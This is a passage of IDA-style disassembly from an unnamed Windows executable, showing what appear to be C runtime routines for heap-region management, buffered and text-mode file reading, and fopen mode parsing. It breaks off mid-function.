sub_41EA06	proc near		; CODE XREF: sub_41E6FD+CCp
		mov	eax, ds:dword_4E2B78
		mov	ecx, ds:dword_4E2B68
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EA49
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_4E2B7C
		push	edi
		push	ds:dword_4E2B80
		call	ds:dword_42719C	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41EA99
		add	ds:dword_4E2B68, 10h
		mov	ds:dword_4E2B7C, eax
		mov	eax, ds:dword_4E2B78


loc_41EA49:				; CODE XREF: sub_41EA06+11j
		mov	ecx, ds:dword_4E2B7C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_4E2B80
		lea	esi, [ecx+eax*4]
		call	ds:dword_427148	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EA99
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_4271C4	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EA9D
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_4E2B80
		call	ds:dword_427144	; RtlFreeHeap


loc_41EA99:				; CODE XREF: sub_41EA06+30j
					; sub_41EA06+67j
		xor	eax, eax
		jmp	short loc_41EAB4
; ---------------------------------------------------------------------------


loc_41EA9D:				; CODE XREF: sub_41EA06+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_4E2B78
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EAB4:				; CODE XREF: sub_41EA06+95j
		pop	edi
		pop	esi
		retn
sub_41EA06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EAB7	proc near		; CODE XREF: sub_41E6FD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EAC9:				; CODE XREF: sub_41EAB7+19j
		test	eax, eax
		jl	short loc_41EAD2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EAC9
; ---------------------------------------------------------------------------


loc_41EAD2:				; CODE XREF: sub_41EAB7+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EAE7:				; CODE XREF: sub_41EAB7+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EAE7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_4271C4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41EB1A
		or	eax, 0FFFFFFFFh
		jmp	loc_41EBAD
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EAB7+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EB60
		lea	eax, [edi+10h]


loc_41EB27:				; CODE XREF: sub_41EAB7+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EB27


loc_41EB60:				; CODE XREF: sub_41EAB7+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EB9D
		or	[eax+4], edi


loc_41EB9D:				; CODE XREF: sub_41EAB7+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EBAD:				; CODE XREF: sub_41EAB7+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EAB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EBB2	proc near		; CODE XREF: sub_41BA78+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41ED60
		test	bl, 1
		jnz	loc_41ED59
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41ED59
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EC29
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EC29:				; CODE XREF: sub_41EBB2+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EC79
		cmp	ecx, 20h
		jnb	short loc_41EC55
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EC79
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EC79
; ---------------------------------------------------------------------------


loc_41EC55:				; CODE XREF: sub_41EBB2+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EC79
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EC79:				; CODE XREF: sub_41EBB2+7Dj
					; sub_41EBB2+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41ED47
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41ECB3
		push	3Fh
		pop	edi


loc_41ECB3:				; CODE XREF: sub_41EBB2+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41ED35
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41ED0C
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41ECFF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41ECFF:				; CODE XREF: sub_41EBB2+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED0C:				; CODE XREF: sub_41EBB2+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41ED22
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41ED22:				; CODE XREF: sub_41EBB2+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41ED31:				; CODE XREF: sub_41EBB2+158j
		shr	edx, cl
		or	[eax], edx


loc_41ED35:				; CODE XREF: sub_41EBB2+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41ED4A
; ---------------------------------------------------------------------------


loc_41ED47:				; CODE XREF: sub_41EBB2+E5j
		mov	edx, [ebp+arg_4]


loc_41ED4A:				; CODE XREF: sub_41EBB2+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41EEA0
; ---------------------------------------------------------------------------


loc_41ED59:				; CODE XREF: sub_41EBB2+52j
					; sub_41EBB2+5Cj
		xor	eax, eax
		jmp	loc_41EEA3
; ---------------------------------------------------------------------------


loc_41ED60:				; CODE XREF: sub_41EBB2+49j
		jge	loc_41EEA0
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41ED8B
		push	3Fh
		pop	esi


loc_41ED8B:				; CODE XREF: sub_41EBB2+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41EE1A
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EDA4
		push	3Fh
		pop	esi


loc_41EDA4:				; CODE XREF: sub_41EBB2+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41EDF3
		cmp	esi, 20h
		jnb	short loc_41EDCF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41EDF0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EDF0
; ---------------------------------------------------------------------------


loc_41EDCF:				; CODE XREF: sub_41EBB2+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EDF0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EDF0:				; CODE XREF: sub_41EBB2+214j
					; sub_41EBB2+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41EDF3:				; CODE XREF: sub_41EBB2+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EE1A
		push	3Fh
		pop	esi


loc_41EE1A:				; CODE XREF: sub_41EBB2+1DDj
					; sub_41EBB2+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41EE97
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41EE6E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EE61
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41EE61:				; CODE XREF: sub_41EBB2+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41EE93
; ---------------------------------------------------------------------------


loc_41EE6E:				; CODE XREF: sub_41EBB2+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EE84
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41EE84:				; CODE XREF: sub_41EBB2+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41EE93:				; CODE XREF: sub_41EBB2+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41EE97:				; CODE XREF: sub_41EBB2+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41EEA0:				; CODE XREF: sub_41EBB2+1A2j
					; sub_41EBB2:loc_41ED60j
		push	1
		pop	eax


loc_41EEA3:				; CODE XREF: sub_41EBB2+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EBB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EEA8	proc near		; CODE XREF: sub_41B990+A9p
					; sub_41C1FF+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41EF7C
		test	al, 40h
		jnz	loc_41EF7C
		test	al, 2
		jz	short loc_41EECE
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41EF7C
; ---------------------------------------------------------------------------


loc_41EECE:				; CODE XREF: sub_41EEA8+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41EEE2
		push	esi
		call	sub_423852
		pop	ecx
		jmp	short loc_41EEE7
; ---------------------------------------------------------------------------


loc_41EEE2:				; CODE XREF: sub_41EEA8+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41EEE7:				; CODE XREF: sub_41EEA8+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41EF81
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41EF6B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41EF6B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41EF40
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41EF29
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_4E1820[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41EF2E
; ---------------------------------------------------------------------------


loc_41EF29:				; CODE XREF: sub_41EEA8+6Bj
		mov	edi, offset dword_442E40


loc_41EF2E:				; CODE XREF: sub_41EEA8+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41EF40
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41EF40:				; CODE XREF: sub_41EEA8+62j
					; sub_41EEA8+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41EF5D
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41EF5D
		test	ch, 4
		jnz	short loc_41EF5D
		mov	dword ptr [esi+18h], 1000h


loc_41EF5D:				; CODE XREF: sub_41EEA8+9Fj
					; sub_41EEA8+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EF6B:				; CODE XREF: sub_41EEA8+55j
					; sub_41EEA8+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41EF7C:				; CODE XREF: sub_41EEA8+Aj
					; sub_41EEA8+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41EEA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF81	proc near		; CODE XREF: sub_41B990+90p
					; sub_41EEA8+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_4E1920
		jnb	loc_41F15E
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4E1820h[eax*4]
		mov	eax, ds:dword_4E1820[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F15E
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F036
		test	dl, 2
		jnz	short loc_41F036
		test	dl, 48h
		jz	short loc_41EFF6
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41EFF6
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41EFF6:				; CODE XREF: sub_41EF81+56j
					; sub_41EF81+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F049
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F031
		mov	ds:dword_4E14F8, 9
		mov	ds:dword_4E14FC, ecx
		jmp	loc_41F16F
; ---------------------------------------------------------------------------


loc_41F031:				; CODE XREF: sub_41EF81+99j
		cmp	eax, 6Dh
		jnz	short loc_41F03D


loc_41F036:				; CODE XREF: sub_41EF81+4Cj
					; sub_41EF81+51j
		xor	eax, eax
		jmp	loc_41F172
; ---------------------------------------------------------------------------


loc_41F03D:				; CODE XREF: sub_41EF81+B3j
		push	eax
		call	sub_420244
		pop	ecx
		jmp	loc_41F16F
; ---------------------------------------------------------------------------


loc_41F049:				; CODE XREF: sub_41EF81+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F159
		test	edx, edx
		jz	short loc_41F06E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F06E
		or	al, 4
		jmp	short loc_41F070
; ---------------------------------------------------------------------------


loc_41F06E:				; CODE XREF: sub_41EF81+E2j
					; sub_41EF81+E7j
		and	al, 0FBh


loc_41F070:				; CODE XREF: sub_41EF81+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F153


loc_41F088:				; CODE XREF: sub_41EF81+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F143
		cmp	al, 0Dh
		jz	short loc_41F0A4
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F135
; ---------------------------------------------------------------------------


loc_41F0A4:				; CODE XREF: sub_41EF81+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F0C2
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F0B9
		add	[ebp+arg_8], 2
		jmp	short loc_41F117
; ---------------------------------------------------------------------------


loc_41F0B9:				; CODE XREF: sub_41EF81+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F135
; ---------------------------------------------------------------------------


loc_41F0C2:				; CODE XREF: sub_41EF81+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F0EA
		call	ds:dword_42708C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41F131


loc_41F0EA:				; CODE XREF: sub_41EF81+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F131
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F10C
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F117
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F135
; ---------------------------------------------------------------------------


loc_41F10C:				; CODE XREF: sub_41EF81+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F11C
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F11C


loc_41F117:				; CODE XREF: sub_41EF81+136j
					; sub_41EF81+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F134
; ---------------------------------------------------------------------------


loc_41F11C:				; CODE XREF: sub_41EF81+18Ej
					; sub_41EF81+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42261C
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F135


loc_41F131:				; CODE XREF: sub_41EF81+167j
					; sub_41EF81+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F134:				; CODE XREF: sub_41EF81+199j
		inc	edi


loc_41F135:				; CODE XREF: sub_41EF81+11Ej
					; sub_41EF81+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F088
		jmp	short loc_41F153
; ---------------------------------------------------------------------------


loc_41F143:				; CODE XREF: sub_41EF81+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F153
		or	al, 2
		mov	[esi], al


loc_41F153:				; CODE XREF: sub_41EF81+101j
					; sub_41EF81+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F159:				; CODE XREF: sub_41EF81+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F172
; ---------------------------------------------------------------------------


loc_41F15E:				; CODE XREF: sub_41EF81+12j
					; sub_41EF81+39j
		and	ds:dword_4E14FC, 0
		mov	ds:dword_4E14F8, 9


loc_41F16F:				; CODE XREF: sub_41EF81+ABj
					; sub_41EF81+C3j
		or	eax, 0FFFFFFFFh


loc_41F172:				; CODE XREF: sub_41EF81+B7j
					; sub_41EF81+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF81	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F177	proc near		; CODE XREF: sub_41BA78+106p
					; sub_41BBDD+1Fp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4E1574
		test	eax, eax
		jz	short loc_41F18F
		push	[esp+arg_0]
		call	eax ; dword_4E1574
		test	eax, eax
		pop	ecx
		jz	short loc_41F18F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F18F:				; CODE XREF: sub_41F177+7j
					; sub_41F177+12j
		xor	eax, eax
		retn
sub_41F177	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F192	proc near		; CODE XREF: sub_41BB98+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_4E16E0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F1CB
		cmp	al, 72h
		jz	short loc_41F1C4
		cmp	al, 77h
		jnz	loc_41F2DF
		mov	ecx, 301h
		jmp	short loc_41F1D0
; ---------------------------------------------------------------------------


loc_41F1C4:				; CODE XREF: sub_41F192+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F1D3
; ---------------------------------------------------------------------------


loc_41F1CB:				; CODE XREF: sub_41F192+1Dj
		mov	ecx, 109h


loc_41F1D0:				; CODE XREF: sub_41F192+30j
		or	esi, 2


loc_41F1D3:				; CODE XREF: sub_41F192+37j
		push	1
		pop	edx


loc_41F1D6:				; CODE XREF: sub_41F192+8Bj
					; sub_41F192+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F2C5
		cmp	edx, ebx
		jz	loc_41F2C5
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F264
		jz	short loc_41F254
		sub	eax, 2Bh
		jz	short loc_41F23E
		sub	eax, 19h
		jz	short loc_41F234
		sub	eax, 0Eh
		jz	short loc_41F21F
		dec	eax
		jnz	loc_41F2B6
		cmp	[ebp+var_4], ebx
		jnz	loc_41F2B6
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F21F:				; CODE XREF: sub_41F192+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F2B6
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F234:				; CODE XREF: sub_41F192+6Aj
		test	cl, 40h
		jnz	short loc_41F2B6
		or	ecx, 40h
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F23E:				; CODE XREF: sub_41F192+65j
		test	cl, 2
		jnz	short loc_41F2B6
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F192+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F2B6
		or	ecx, eax
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F264:				; CODE XREF: sub_41F192+5Ej
		sub	eax, 62h
		jz	short loc_41F2B1
		dec	eax
		jz	short loc_41F29A
		sub	eax, 0Bh
		jz	short loc_41F283
		sub	eax, 6
		jnz	short loc_41F2B6
		test	ch, 0C0h
		jnz	short loc_41F2B6
		or	ch, 40h
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F283:				; CODE XREF: sub_41F192+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F2B6
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F29A:				; CODE XREF: sub_41F192+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F2B6
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F2B1:				; CODE XREF: sub_41F192+D5j
		test	ch, 0C0h
		jz	short loc_41F2BD


loc_41F2B6:				; CODE XREF: sub_41F192+72j
					; sub_41F192+7Bj ...
		xor	edx, edx
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F2BD:				; CODE XREF: sub_41F192+122j
		or	ch, 80h
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F2C5:				; CODE XREF: sub_41F192+4Aj
					; sub_41F192+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423896
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F2E3


loc_41F2DF:				; CODE XREF: sub_41F192+25j
		xor	eax, eax
		jmp	short loc_41F2FD
; ---------------------------------------------------------------------------


loc_41F2E3:				; CODE XREF: sub_41F192+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_4E15C8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F2FD:				; CODE XREF: sub_41F192+14Fj
		pop	edi
		pop	esi
